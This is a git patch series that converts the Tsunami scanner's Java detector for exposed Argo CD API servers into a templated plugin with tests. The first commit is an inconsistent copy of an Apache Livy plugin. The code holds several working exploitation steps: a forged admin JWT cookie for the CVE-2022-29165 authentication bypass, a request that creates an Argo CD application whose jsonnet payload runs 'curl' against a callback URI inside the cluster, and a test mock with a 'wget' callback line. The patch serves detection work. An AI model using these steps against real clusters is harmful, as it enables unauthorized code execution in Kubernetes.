From 2e1d23dae3ef5fbbfbbc7ee636930d8523f9e9a9 Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Thu, 12 Nov 2026 07:53:27 -0500 Subject: [PATCH 1/2] beginning --- .../exposedui/ArgoCD_ExposedUI.textproto | 119 ++++++++++++++++++ .../exposedui/ArgoCD_ExposedUI_test.textproto | 101 +++++++++++++++ 2 files changed, 220 insertions(+) create mode 100644 templated/templateddetector/plugins/exposedui/ArgoCD_ExposedUI.textproto create mode 100644 templated/templateddetector/plugins/exposedui/ArgoCD_ExposedUI_test.textproto diff --git a/templated/templateddetector/plugins/exposedui/ArgoCD_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/ArgoCD_ExposedUI.textproto new file mode 100644 index 000000000..49225a5cf --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/ArgoCD_ExposedUI.textproto @@ -0,0 +1,119 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "ApacheLivy_ExposedUI" + author: "joernNNN" + version: "0.1" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "APACHELIVY_EXPOSED_UI" + } + title: "Apache Livy Exposed instance" + description: "Apache Livy instance is exposed and can be used to compromise the system." + recommendation: + "Configure authentication or ensure the Apache Livy instance is not exposed " + "to the network. See " + "https://livy.apache.org/get-started/ for details." + severity: CRITICAL +} + +########### +# ACTIONS # +########### + +# TODO: fingerprint + +actions: { + name: "argocd_exposed_ui_fingerprint" + http_request: { + method: GET + uri: "/ui" + response: { + http_status: 200 + expect_all: { + conditions: { body {} contains: 'Livy - Sessions' } + } + } + } +} + +actions: { + name: "get_project" + http_request: { + method: GET + uri: "/api/v1/projects?fields=items.metadata.name" + response: { + http_status: 200 + expect_all: { + conditions: { body {} contains: '"items":' } + } + extract_all: { + patterns: [ + { + from_body: {} + regexp: "\"name\":\"[\"]+\"," + variable_name: "PROJECT_NAME" + } + ] + } + } + } +} + +actions: { + name: "get_cluster" + http_request: { + method: GET + uri: "/api/v1/clusters" + response: { + http_status: 200 + expect_all: { + conditions: { body {} contains: '"items":' } + } + extract_all: { + patterns: [ + { + from_body: {} + regexp: "\"name\":\"[\"]+\"," + variable_name: "CLUSTER_NAME" + } + ] + } + } + } +} + + + + + +actions: { + name: "sleep_for_callback" + utility: { sleep: { duration_ms: 4000 } } +} +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + +############# +# WORKFLOWS # +############# + +workflows: { + actions: [ + "livy_exposed_ui_fingerprint", + "create_batches", + "sleep_for_callback", + "check_callback_server_logs" + ] +} \ No newline at end of file diff --git a/templated/templateddetector/plugins/exposedui/ArgoCD_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/ArgoCD_ExposedUI_test.textproto new file mode 100644 index 000000000..732f32f80 --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/ArgoCD_ExposedUI_test.textproto @@ -0,0 +1,101 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "ARGOCD_ExposedUI" +} + +tests: { + name: "whenVulnerable_returnsVuln" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + mock_http_server: { + mock_responses: [ + { + uri: "/ui" + status: 200 + body_content: 'Livy - Sessions' + }, + { + uri: "/batches" + status: 201 + body_content: + '{"id":6,"name":null,"owner":null,"proxyUser":null,"state":"running","appId":null,"appInfo":{"driverLogUrl":null,"sparkUiUrl":null},"log":["stdout: ","\nstderr: "]}' + condition: { + body_content: '{"file":"{{ T_CBS_URI }}"}' + headers: [ + { + name: "Content-Type", + value: "application/json" + } + ] + } + }, + { + uri: "/batches/6" + status: 200 + } + ] + } +} + + +tests: { + name: "whenNotApcheLivy_returnsNoVuln" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "/api/v1/main/usages/all" + status: 400 + body_content: "..." + } + ] + } +} + +tests: { + name: "whenNoCallback_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/ui" + status: 200 + body_content: 'Livy - Sessions' + }, + { + uri: "/batches" + status: 201 + body_content: + '{"id":6,"name":null,"owner":null,"proxyUser":null,"state":"running","appId":null,"appInfo":{"driverLogUrl":null,"sparkUiUrl":null},"log":["stdout: ","\nstderr: "]}' + condition: { + body_content: '{"file":"{{ T_CBS_URI }}"}' + headers: [ + { + name: "Content-Type", + value: "application/json" + } + ] + } + }, + { + uri: "/batches/6" + status: 200 + body_content: + '{"id":0,"code":"import subprocess\\nsubprocess.run([\\"wget\\",\\"{{ T_CBS_URI }}\\"])","state":"available","output":{"status":"ok","execution_count":0,"data":{"text/plain":"/opt"}},"progress":1.0,"started":1754515902001,"completed":1754515902003}' + } + ] + } +} \ No newline at end of file From 9e3fed1ab4a96732ca1b07b1976527a5e5fa591b Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 13 Nov 2026 10:07:12 -0500 Subject: [PATCH 2/2] converted argocd exposedui detector to templated --- .../exposedui/argocd/Annotations.java | 35 -- .../argocd/ExposedArgoCdApiDetector.java | 409 ------------------ ...posedArgoCdApiDetectorBootstrapModule.java | 39 -- .../ExposedArgoCdApiDetectorConfigs.java | 23 - .../exposedui/ArgoCD_ExposedUI.textproto | 177 +++++++- .../exposedui/ArgoCD_ExposedUI_test.textproto | 176 ++++++-- 6 files changed, 286 insertions(+), 573 deletions(-) delete mode 100644 community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/Annotations.java delete mode 100644 community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetector.java delete mode 100644 community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorBootstrapModule.java delete mode 100644 community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorConfigs.java diff --git a/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/Annotations.java b/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/Annotations.java deleted file mode 100644 index 990484010..000000000 --- a/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/Annotations.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.exposedui.argocd; - -import static java.lang.annotation.ElementType.FIELD; -import static java.lang.annotation.ElementType.METHOD; -import static java.lang.annotation.ElementType.PARAMETER; - -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -import javax.inject.Qualifier; - -/** Annotation for {@link ExposedArgoCdApiDetector}. */ -final class Annotations { - @Qualifier - @Retention(RetentionPolicy.RUNTIME) - @Target({PARAMETER, METHOD, FIELD}) - @interface OobSleepDuration {} - - private Annotations() {} -} diff --git a/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetector.java b/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetector.java deleted file mode 100644 index 377636d14..000000000 --- a/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetector.java +++ /dev/null @@ -1,409 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.exposedui.argocd; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.tsunami.common.net.http.HttpRequest.delete; -import static com.google.tsunami.common.net.http.HttpRequest.get; -import static com.google.tsunami.common.net.http.HttpRequest.post; - -import com.google.common.annotations.VisibleForTesting; -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.common.util.concurrent.Uninterruptibles; -import com.google.gson.JsonParseException; -import com.google.gson.JsonParser; -import com.google.gson.JsonSyntaxException; -import com.google.protobuf.ByteString; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpHeaders; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.plugin.payload.NotImplementedException; -import com.google.tsunami.plugin.payload.Payload; -import com.google.tsunami.plugin.payload.PayloadGenerator; -import com.google.tsunami.plugins.detectors.exposedui.argocd.Annotations.OobSleepDuration; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionReportList.Builder; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.PayloadGeneratorConfig; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Clock; -import java.time.Duration; -import java.time.Instant; -import javax.inject.Inject; - -/** A {@link VulnDetector} that detects exposed ArgoCD API server. */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - - // name of the plugin - name = "ExposedArgoCDDetector", - version = "0.1", - - // detailed description of the plugin - description = - "This plugin detects exposed and misconfigured ArgoCD API server." - + "Exposed Argo CD API servers allow attackers to access kubernetes clusters." - + "Attackers can change parameters of clusters and possibly compromise it.", - author = "JamesFoxxx", - bootstrapModule = ExposedArgoCdApiDetectorBootstrapModule.class) -public final class ExposedArgoCdApiDetector implements VulnDetector { - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - - private final PayloadGenerator payloadGenerator; - private final Clock utcClock; - private final HttpClient httpClient; - private final int oobSleepDuration; - - // The URL that host the payload as a git repository - // This url might be changed in the future, so I make it easy to change - private final String PAYLOAD_GIT_URL = "https://github.com/JamesFoxxx/argo-cd-app"; - // The Path to the directory of payload on the git repository - private final String PAYLOAD_GIT_PATH = "payloads/jsonnet-guestbook-tla"; - - // The JWT session value as a part of the CVE-2022-29165 payload - @VisibleForTesting - static final String PAYLOAD_ARGOCD_TOKEN_SESSION = - "argocd.token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9." - + "TGGTTHuuGpEU8WgobXxkrBtW3NiR3dgw5LR-1DEW3BQ"; - - // This is a template for creating an Argo CD application, we should fill four part of this - // payload. - private final String CREATE_APPLICATION_TEMPLATE = - "{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"Application\"," - + "\"metadata\":{\"name\":\"tsunami-security-scanner\"},\"spec\"" - + ":{\"destination\":{\"name\":\"\",\"namespace\":" - + "\"tsunami-security-scanner\",\"server\":" - + "\"%s\"},\"source\":{\"path\":" - + "\"%s\",\"repoURL\":" - + "\"%s\",\"targetRevision\":" - + "\"HEAD\",\"directory\":{\"jsonnet\":{\"tlas\":[{\"name\":" - + "\"payload\",\"value\":" - + "\"\\\"%s\\\"\"" - + ",\"code\":true}]}}},\"sources\":[],\"project\":\"%s\"," - + "\"syncPolicy\":{\"automated\":{\"prune\":false," - + "\"selfHeal\":false}}}}"; - - @Inject - ExposedArgoCdApiDetector( - HttpClient httpClient, - @UtcClock Clock utcClock, - PayloadGenerator payloadGenerator, - @OobSleepDuration int oobSleepDuration) { - this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(true).build(); - this.utcClock = checkNotNull(utcClock); - this.payloadGenerator = checkNotNull(payloadGenerator); - this.oobSleepDuration = oobSleepDuration; - } - - @Override - public ImmutableList getAdvisories() { - return ImmutableList.of( - // The instance is publicly exposed. - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("EXPOSED_ARGOCD_API_SERVER")) - .setSeverity(Severity.CRITICAL) - .setTitle("Argo CD API server Exposed") - .setDescription( - "Argo CD API server is publicly exposed without any authentication. It allows" - + " attackers to access kubernetes clusters. Attackers can change parameters of" - + " clusters and possibly compromise it.") - .setRecommendation("Please disable public access to your Argo CD API server.") - .build(), - // The instance is vulnerable to CVE-2022-29165. - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("VULNERABLE_ARGOCD_API_SERVER")) - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2022-29165")) - .setSeverity(Severity.CRITICAL) - .setTitle("Argo CD API server Exposed") - .setDescription( - "Argo CD API server is vulnerable to CVE-2022-29165. It allows attackers to access" - + " kubernetes clusters. Attackers can change parameters of clusters and" - + " possibly compromise it.") - .setRecommendation( - "Patched versions are 2.1.15, and 2.3.4, and 2.2.9, and 2.1.15. Please update Argo" - + " CD to these versions and higher.") - .build()); - } - - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - logger.atInfo().log("Starting exposed Argo CD API servers detection by out-of-band callback."); - - Builder detectionReport = DetectionReportList.newBuilder(); - matchedServices.stream() - .filter(NetworkServiceUtils::isWebService) - // check if the services are vulnerable - // Build a DetectionReport when the Argo CD UI is exposed publicly by admin access otherwise - // check if it is vulnerable to CVE-2022-29165 - .forEach( - networkService -> { - if (isServicePubliclyExposed(networkService, true)) { - // Argo CD API server is exposed publicly without any authentication, and it is - // confirmed by receiving an out-of-band callback - detectionReport.addDetectionReports( - buildDetectionReport(targetInfo, networkService, this.getAdvisories().get(0))); - } else if (isServiceVulnerableToAuthBypass(networkService, true)) { - // Argo CD API server is vulnerable to CVE-2022-29165, and it is confirmed by - // receiving an out-of-band callback - detectionReport.addDetectionReports( - buildDetectionReport(targetInfo, networkService, this.getAdvisories().get(1))); - } else if (isServicePubliclyExposed(networkService, false)) { - // Argo CD API server is exposed publicly without any authentication, and it is - // confirmed by receiving matching a http response body - detectionReport.addDetectionReports( - buildDetectionReport(targetInfo, networkService, this.getAdvisories().get(0))); - } else if (isServiceVulnerableToAuthBypass(networkService, false)) { - // Argo CD API server is vulnerable to CVE-2022-29165, and it is - // confirmed by receiving matching a http response body - detectionReport.addDetectionReports( - buildDetectionReport(targetInfo, networkService, this.getAdvisories().get(1))); - } - }); - return detectionReport.build(); - } - - /** Checks if a {@link NetworkService} has a misconfigured ArgoCD API server exposed. */ - private boolean isServicePubliclyExposed( - NetworkService networkService, boolean useOutOfBandCallBack) { - if (useOutOfBandCallBack) { - return checkExposedArgoCdWithOutOfBandCallback(networkService, HttpHeaders.builder()); - } else { - return checkExposedArgoCdWithResponseMatching(networkService, HttpHeaders.builder()); - } - } - - /** Checks if a {@link NetworkService} has a vulnerable ArgoCD API server to CVE-2022-29165. */ - private boolean isServiceVulnerableToAuthBypass( - NetworkService networkService, boolean useOutOfBandCallBack) { - HttpHeaders.Builder cookieHeader = - HttpHeaders.builder().addHeader("Cookie", PAYLOAD_ARGOCD_TOKEN_SESSION); - if (useOutOfBandCallBack) { - return checkExposedArgoCdWithOutOfBandCallback(networkService, cookieHeader); - } else { - return checkExposedArgoCdWithResponseMatching(networkService, cookieHeader); - } - } - - private boolean checkExposedArgoCdWithResponseMatching( - NetworkService networkService, HttpHeaders.Builder baseHeaders) { - logger.atInfo().log("Starting exposed Argo CD API servers detection by response matching."); - // the target URL of the target is built - String targetUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); - - String targetUri = targetUrl + "api/v1/certificates"; - try { - // This is a blocking call. - HttpResponse response = - httpClient.send(get(targetUri).setHeaders(baseHeaders.build()).build(), networkService); - return response.status().isSuccess() - && response.bodyString().isPresent() - && response.bodyString().get().contains("\"items\"") - && response.bodyString().get().contains("\"metadata\""); - } catch (IOException e) { - logger.atWarning().withCause(e).log("Unable to query '%s'.", targetUri); - return false; - } catch (JsonSyntaxException e) { - logger.atWarning().withCause(e).log( - "JSON syntax error occurred parsing response for target URI: '%s'.", targetUri); - return false; - } - } - - private boolean checkExposedArgoCdWithOutOfBandCallback( - NetworkService networkService, HttpHeaders.Builder baseHeaders) { - // the target URL of the target is built - String targetUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); - - try { - // 1. Get the first Project name - String projectsUrl = targetUrl + "api/v1/projects?fields=items.metadata.name"; - HttpResponse response = - httpClient.send(get(projectsUrl).setHeaders(baseHeaders.build()).build(), networkService); - if (response.bodyString().isEmpty()) { - return false; - } - String projectName = ""; - try { - projectName = - JsonParser.parseString(response.bodyString().get()) - .getAsJsonObject() - .get("items") - .getAsJsonArray() - .get(0) - .getAsJsonObject() - .get("metadata") - .getAsJsonObject() - .get("name") - .getAsString(); - } catch (IllegalStateException | NullPointerException | JsonParseException e) { - return false; - } - - // 2. Get the first cluster name - String clustersUrl = targetUrl + "api/v1/clusters"; - response = - httpClient.send(get(clustersUrl).setHeaders(baseHeaders.build()).build(), networkService); - if (response.bodyString().isEmpty()) { - return false; - } - String clusterName = ""; - try { - clusterName = - JsonParser.parseString(response.bodyString().get()) - .getAsJsonObject() - .get("items") - .getAsJsonArray() - .get(0) - .getAsJsonObject() - .get("server") - .getAsString(); - } catch (IllegalStateException | NullPointerException | JsonParseException e) { - return false; - } - - // 3. Create an application to trigger the OOB - Payload callbackPayload = getTsunamiCallbackHttpPayload(); - if (callbackPayload == null - || !callbackPayload.getPayloadAttributes().getUsesCallbackServer()) { - logger.atWarning().log( - "The Tsunami callback server is not setup for this environment," - + " so we cannot confirm the RCE callback"); - return false; - } - String payload = - String.format( - CREATE_APPLICATION_TEMPLATE, - clusterName, - PAYLOAD_GIT_PATH, - PAYLOAD_GIT_URL, - callbackPayload.getPayload(), - projectName); - String createAppUrl = targetUrl + "api/v1/applications?upsert=true"; - response = - httpClient.send( - post(createAppUrl) - .setHeaders(baseHeaders.addHeader("Content-Type", "application/json").build()) - .setRequestBody(ByteString.copyFromUtf8(payload)) - .build(), - networkService); - // If we send a req with http it will redirect us to https with a 307 status code, - // but by default our client doesn't redirect a POST request with 307 status code and a - // location header in first response - if (response.status().isRedirect() - && response.headers().get("Location").orElse(null) != null) { - logger.atInfo().log("redirect to %s", response.headers().get("Location")); - response = - httpClient.send( - post(response.headers().get("Location").get()) - .setHeaders(baseHeaders.addHeader("Content-Type", "application/json").build()) - .setRequestBody(ByteString.copyFromUtf8(payload)) - .build(), - networkService); - } - Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration)); - if (callbackPayload.checkIfExecuted()) { - logger.atInfo().log("Confirmed OOB Payload execution."); - deleteTestApplicationRequest(networkService, baseHeaders, targetUrl); - return true; - } - } catch (IOException e) { - logger.atWarning().withCause(e).log("Unable to query '%s'.", targetUrl); - deleteTestApplicationRequest(networkService, baseHeaders, targetUrl); - return false; - } - deleteTestApplicationRequest(networkService, baseHeaders, targetUrl); - return false; - } - - private void deleteTestApplicationRequest( - NetworkService networkService, HttpHeaders.Builder baseHeaders, String targetUrl) { - try { - logger.atInfo().log("Try to delete the new application which was for testing purpose."); - String deleteAppUrl = - targetUrl - + "api/v1/applications/tsunami-security-scanner?cascade=true&" - + "propagationPolicy=foreground&appNamespace=argocd"; - HttpResponse response = - httpClient.send( - delete(deleteAppUrl) - .setHeaders(baseHeaders.addHeader("Content-Type", "application/json").build()) - .setRequestBody(ByteString.copyFromUtf8("{}")) - .build(), - networkService); - // same as last comment about redirection - if (response.status().isRedirect() - && response.headers().get("Location").orElse(null) != null) { - logger.atInfo().log("redirect to %s", response.headers().get("Location")); - httpClient.send( - delete(response.headers().get("Location").get()) - .setHeaders(baseHeaders.addHeader("Content-Type", "application/json").build()) - .setRequestBody(ByteString.copyFromUtf8("{}")) - .build(), - networkService); - } - } catch (IOException e) { - logger.atWarning().withCause(e).log("Unable to delete application."); - } - } - - private Payload getTsunamiCallbackHttpPayload() { - try { - return this.payloadGenerator.generate( - PayloadGeneratorConfig.newBuilder() - .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE) - .setInterpretationEnvironment( - PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) - .setExecutionEnvironment( - PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) - .build()); - } catch (NotImplementedException n) { - return null; - } - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService, Vulnerability vulnerability) { - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(vulnerability) - .build(); - } -} diff --git a/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorBootstrapModule.java b/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorBootstrapModule.java deleted file mode 100644 index 1584705a5..000000000 --- a/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorBootstrapModule.java +++ /dev/null @@ -1,39 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.exposedui.argocd; - -import com.google.inject.Provides; -import com.google.tsunami.plugin.PluginBootstrapModule; -import com.google.tsunami.plugins.detectors.exposedui.argocd.Annotations.OobSleepDuration; - -/** A {@link PluginBootstrapModule} for {@link ExposedArgoCdApiDetector}. */ -public final class ExposedArgoCdApiDetectorBootstrapModule extends PluginBootstrapModule { - - @Override - protected void configurePlugin() { - registerPlugin(ExposedArgoCdApiDetector.class); - } - - @Provides - @OobSleepDuration - int provideOobSleepDuration(ExposedArgoCdApiDetectorConfigs configs) { - if (configs.oobSleepDuration == 0) { - return 20; - } - return configs.oobSleepDuration; - } -} diff --git a/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorConfigs.java b/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorConfigs.java deleted file mode 100644 index 2995c17ac..000000000 --- a/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorConfigs.java +++ /dev/null @@ -1,23 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.exposedui.argocd; - -import com.google.tsunami.common.config.annotations.ConfigProperties; - -@ConfigProperties("plugins.community.detectors.argocd_exposed_ui") -final class ExposedArgoCdApiDetectorConfigs { - int oobSleepDuration; -} diff --git a/templated/templateddetector/plugins/exposedui/ArgoCD_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/ArgoCD_ExposedUI.textproto index 49225a5cf..caff0527a 100644 --- a/templated/templateddetector/plugins/exposedui/ArgoCD_ExposedUI.textproto +++ b/templated/templateddetector/plugins/exposedui/ArgoCD_ExposedUI.textproto @@ -7,22 +7,34 @@ info: { type: VULN_DETECTION - name: "ApacheLivy_ExposedUI" - author: "joernNNN" - version: "0.1" + name: "ArgoCD_ExposedUI" + author: + "Robert Dick (robert@doyensec.com) for the Templated version," + "JamesFoxxx for the original Java version" + version: "2.0" } finding: { main_id: { - publisher: "GOOGLE" - value: "APACHELIVY_EXPOSED_UI" + publisher: "TSUNAMI_COMMUNITY" + value: "ARGOCD_EXPOSED_UI" } - title: "Apache Livy Exposed instance" - description: "Apache Livy instance is exposed and can be used to compromise the system." + title: "Exposed Argo CD API Server" + description: + "Argo CD API server is publicly exposed without any authentication. It allows" + " attackers to access kubernetes clusters. Attackers can change parameters of" + " clusters and run arbitrary containers. This plugin also provides a cookie " + " associated with CVE-2022-29165, which allows anonymous users to impersonate " + " the admin user (authorization bypass), in cases where anonymous user permiss" + "ions have been reduced but the instance is vulnerable to CVE-2022-29165. Note" + " that this does not necessarily mean that the server is vulnerable to CVE-202" + "2-29165, it specifically detects cases where a high privileged role is access" + "ible without authentication. This vulnerability was confirmed by running a ne" + "w application in the cluster, which should have also been deleted afterward " + "automatically. " recommendation: - "Configure authentication or ensure the Apache Livy instance is not exposed " - "to the network. See " - "https://livy.apache.org/get-started/ for details." + "Please disable anonymous access to your Argo CD API server and ensure that it is " + "updated to the latest version." severity: CRITICAL } @@ -30,17 +42,20 @@ finding: { # ACTIONS # ########### -# TODO: fingerprint +config: {} actions: { name: "argocd_exposed_ui_fingerprint" http_request: { method: GET - uri: "/ui" + uri: "/" + headers: [ + { name: "Cookie" value: "{{ COOKIE }}" } + ] response: { http_status: 200 expect_all: { - conditions: { body {} contains: 'Livy - Sessions' } + conditions: { body {} contains: 'Argo CD' } } } } @@ -51,6 +66,9 @@ actions: { http_request: { method: GET uri: "/api/v1/projects?fields=items.metadata.name" + headers: [ + { name: "Cookie" value: "{{ COOKIE }}" } + ] response: { http_status: 200 expect_all: { @@ -60,7 +78,7 @@ actions: { patterns: [ { from_body: {} - regexp: "\"name\":\"[\"]+\"," + regexp: '"name":"([^"]+)"' variable_name: "PROJECT_NAME" } ] @@ -74,6 +92,9 @@ actions: { http_request: { method: GET uri: "/api/v1/clusters" + headers: [ + { name: "Cookie" value: "{{ COOKIE }}" } + ] response: { http_status: 200 expect_all: { @@ -83,7 +104,7 @@ actions: { patterns: [ { from_body: {} - regexp: "\"name\":\"[\"]+\"," + regexp: '"server":"([^"]+)"' variable_name: "CLUSTER_NAME" } ] @@ -92,28 +113,140 @@ actions: { } } +# TODO: check if namespace needs to be changed for other k8s configs. +actions: { + name: "create_application_oob" + http_request: { + method: POST + uri: "/api/v1/applications?upsert=true" + data: + "{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"Application\"," + "\"metadata\":{\"name\":\"tsunami-security-scanner-{{ T_UTL_CURRENT_TIMESTAMP_MS }}\"},\"spec\"" + ":{\"destination\":{\"name\":\"\",\"namespace\":" + "\"tsunami-security-scanner-2\",\"server\":" + "\"{{ CLUSTER_NAME }}\"},\"source\":{\"path\":" + "\"{{ PAYLOAD_PATH }}\",\"repoURL\":" + "\"{{ REPO_URL }}\",\"targetRevision\":" + "\"HEAD\",\"directory\":{\"jsonnet\":{\"tlas\":[{\"name\":" + "\"payload\",\"value\":" + "\"\\\"curl {{ T_CBS_URI }}\\\"\"" + ",\"code\":true}]}}},\"sources\":[],\"project\":\"{{ PROJECT_NAME }}\"," + "\"syncPolicy\":{\"automated\":{\"prune\":false," + "\"selfHeal\":false}}}}" + headers: [ + { name: "Cookie" value: "{{ COOKIE }}" }, + { name: "Content-Type" value: "application/json" } + ] + } + cleanup_actions: "delete_application" +} +actions: { + name: "create_application_reflective" + http_request: { + method: POST + uri: "/api/v1/applications?upsert=true" + data: + "{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"Application\"," + "\"metadata\":{\"name\":\"tsunami-security-scanner-{{ T_UTL_CURRENT_TIMESTAMP_MS }}\"},\"spec\"" + ":{\"destination\":{\"name\":\"\",\"namespace\":" + "\"tsunami-security-scanner-2\",\"server\":" + "\"{{ CLUSTER_NAME }}\"},\"source\":{\"path\":" + "\"{{ PAYLOAD_PATH }}\",\"repoURL\":" + "\"{{ REPO_URL }}\",\"targetRevision\":" + "\"HEAD\",\"directory\":{\"jsonnet\":{\"tlas\":[{\"name\":" + "\"payload\",\"value\":" + "\"\\\"printf %x 133713371337\\\"\"" + ",\"code\":true}]}}},\"sources\":[],\"project\":\"{{ PROJECT_NAME }}\"," + "\"syncPolicy\":{\"automated\":{\"prune\":false," + "\"selfHeal\":false}}}}" + headers: [ + { name: "Cookie" value: "{{ COOKIE }}" }, + { name: "Content-Type" value: "application/json" } + ] + } + 